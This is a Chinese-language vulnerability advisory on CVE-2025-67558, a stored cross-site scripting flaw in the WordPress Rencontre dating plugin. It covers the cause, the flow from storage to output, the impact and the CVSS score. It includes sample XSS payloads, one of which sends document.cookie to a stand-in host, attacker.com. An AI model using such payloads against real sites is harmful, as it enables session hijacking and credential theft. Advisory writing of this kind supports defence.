CVE-2025-67558CVE-2025-67558是WordPress Rencontre约会插件中的一个存储型跨站脚本(Stored XSS)漏洞。该插件是一款流行的WordPress社交约会插件,用于创建和管理约会网站。漏洞源于该插件在处理用户输入时未能正确对特殊字符进行HTML转义,导致攻击者可以在用户资料、消息或其他用户可控字段中注入恶意JavaScript代码。由于是存储型XSS,恶意脚本会被永久保存在服务器端数据库中,当其他用户访问包含恶意内容的页面时,脚本会自动执行。这使得攻击者能够窃取受害者的会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件。该漏洞需要高权限用户(如管理员或版主)才能触发,但攻击成功后可影响所有访问受影响页面的用户。CVSS 3.1评分为5.9,属于中等严重程度,主要因为其攻击复杂度较低但需要高权限且影响范围有限。
该存储型XSS漏洞存在于Rencontre插件的多个用户输入点,主要是用户资料字段和消息系统。当用户提交包含恶意JavaScript代码的表单数据时,插件后端未对输入进行充分的HTML实体转义处理。具体来说,插件在以下流程中存在缺陷:1) 输入验证阶段:插件未对用户提交的字段进行严格的输入验证,允许包含特殊字符如<script>、<img src=x onerror=alert(1)>等;2) 存储阶段:恶意输入被直接存入数据库而未进行转义;3) 输出阶段:当其他用户查看资料或消息时,未经过滤的HTML内容被直接渲染到页面中。攻击者可以通过构造特定的Payload(如:"><script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>)来执行任意JavaScript代码。由于Rencontre是约会类插件,用户资料页面访问频率较高,漏洞危害面相对较广。攻击成功后的典型利用方式包括:会话劫持、凭据窃取、网页篡改和传播恶意链接。